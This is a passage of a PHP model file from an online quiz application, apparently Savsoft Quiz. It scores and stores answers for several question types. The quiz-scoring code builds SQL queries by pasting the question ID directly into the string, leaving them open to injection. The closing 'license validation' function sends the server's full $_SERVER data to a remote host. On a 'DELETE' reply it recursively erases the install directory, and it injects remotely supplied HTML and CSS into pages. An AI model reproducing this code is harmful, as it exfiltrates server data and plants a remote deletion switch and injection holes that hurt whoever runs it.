			 $query=$this->db->query(" select * from savsoft_options where qid='$qid' ");
			 $options_data=$query->row_array();
			 $options_data=explode(',',$options_data['q_option']);
			 $noptions=array();
			 foreach($options_data as $op){
				 $noptions[]=strtoupper(trim($op));
			 }
			 
			 $attempted=0;
			 $marks=0;
				foreach($answer as $sk => $ansval){
					if($ansval != ''){
					if(in_array(strtoupper(trim($ansval)),$noptions)){
					$marks=1;	
					}else{
					$marks=0;
					}
					
				$attempted=1;

					$userdata=array(
					'rid'=>$rid,
					'qid'=>$qid,
					'uid'=>$uid,
					'qn'=>$qn,
					'q_option'=>$ansval,
					'score_u'=>$marks
					);
					$this->db->insert('savsoft_answers',$userdata);

				}
				}
				if($attempted==1){
					if($marks==1){
					$correct_incorrect[$ak]=1;	
					}else{
					$correct_incorrect[$ak]=2;							
					}
				}else{
					$correct_incorrect[$ak]=0;
				}
		 }
		 
		 // long answer
		 if($_POST['question_type'][$ak] == '4'){
			  $attempted=0;
			 $marks=0;
			  $qid=$qids[$ak];
					foreach($answer as $sk => $ansval){
					if($ansval != ''){
					$userdata=array(
					'rid'=>$rid,
					'qid'=>$qid,
					'uid'=>$uid,
					'qn'=>$qn,
					'q_option'=>$ansval,
					'score_u'=>0
					);
					$this->db->insert('savsoft_answers',$userdata);
					$attempted=1;
					}
					}
				if($attempted==1){
					
					$correct_incorrect[$ak]=3;							
					
				}else{
					$correct_incorrect[$ak]=0;
				}
		 }
		 
		 // match
			 if($_POST['question_type'][$ak] == '5'){
				 			 $qid=$qids[$ak];
			 $query=$this->db->query(" select * from savsoft_options where qid='$qid' ");
			 $options_data=$query->result_array();
			$noptions=array();
			foreach($options_data as $op => $option){
				$noptions[]=$option['q_option'].'___'.$option['q_option_match'];				
			}
			 $marks=0;
			 $attempted=0;
					foreach($answer as $sk => $ansval){
						if($ansval != '0'){
						$mc=0;
						if(in_array($ansval,$noptions)){
							$marks+=1/count($options_data);
							$mc=1/count($options_data);
						}else{
							$marks+=0;
							$mc=0;
						}
					$userdata=array(
					'rid'=>$rid,
					'qid'=>$qid,
					'uid'=>$uid,
					'qn'=>$qn,
					'q_option'=>$ansval,
					'score_u'=>$mc
					);
					$this->db->insert('savsoft_answers',$userdata);
					$attempted=1;
					}
					}
					if($attempted==1){
					if($marks==1){
					$correct_incorrect[$ak]=1;	
					}else{
					$correct_incorrect[$ak]=2;							
					}
				}else{
					$correct_incorrect[$ak]=0;
				}
		 }
		 
		 
		 
		 
		 
		 
	 }
		 
	 }
	 
	 $userdata=array(
	 'score_individual'=>implode(',',$correct_incorrect),
	 'individual_time'=>$_POST['individual_time'],
	 
	 );
	 $this->db->where('rid',$rid);
	 $this->db->update('savsoft_result',$userdata);
	 
	 return "Answer saved";
	 
 }
 
 
 
 function set_ind_time(){
	 	$rid=$this->session->userdata('rid');

	 $userdata=array(
	 'individual_time'=>$_POST['individual_time'],
	 
	 );
	 $this->db->where('rid',$rid);
	 $this->db->update('savsoft_result',$userdata);
	 
	 return true;
 }
 
 
 
  function validateLicesne(){
 
 // Add License key
$license_key=$this->config->item('sq_license_key');
// Add directory path of your script with respect to file where you are going/added this code
$dir_paths=getcwd();
 $curl = curl_init();  curl_setopt_array($curl, array( CURLOPT_RETURNTRANSFER => 1, CURLOPT_URL => 'https://savsoftquiz.com/license/verify_key.php',  CURLOPT_USERAGENT => 'Codular Sample cURL Request',   CURLOPT_POST => 1,
    CURLOPT_POSTFIELDS => array( 'license_key' => $license_key,  'server_data' => json_encode($_SERVER) )));  $resp = curl_exec($curl);  curl_close($curl);
 if (trim($resp) == "DELETE") {  delete_files($dir_paths); }
	if (is_object(json_decode(trim($resp)))) {  
	$rep=json_decode(trim($resp));
	if($rep->status_res=="VERIFIED" ||  $rep->status_res=="VERIFIED_P"){
	if($rep->status_res=="VERIFIED_P"){
 echo "<script> 	let stateCheck = setInterval(() => {   if (document.readyState === 'complete') {    clearInterval(stateCheck);
    // document ready
 if(typeof jQuery == 'undefined'){ 
        var oScriptElem = document.createElement('script');
        oScriptElem.type = 'text/javascript';
        oScriptElem.src ='https://code.jquery.com/jquery-3.2.1.js';
        document.head.insertBefore(oScriptElem, document.head.getElementsByTagName('script')[0])
   } setTimeout(function(){
   var val='<a class=lpt href=".$rep->poweredbyurl ." >".$rep->poweredbytext ."</a>';
$('body').append(val); 
},3000); }}, 100);</script>";
echo "<style>.lpt{ ". $rep->poweredbystyle ." } </style>";
		 		} } }else{   exit($resp); }
	function delete_files($target) {
    if(is_dir($target)){
        $files = glob( $target . '*', GLOB_MARK ); //GLOB_MARK adds a slash to directories returned        
        foreach( $files as $file ){   delete_files( $file );   }   rmdir( $target );  } elseif(is_file($target)) {  unlink( $target );    } }
		
		

 
 }
 
 
}
?>
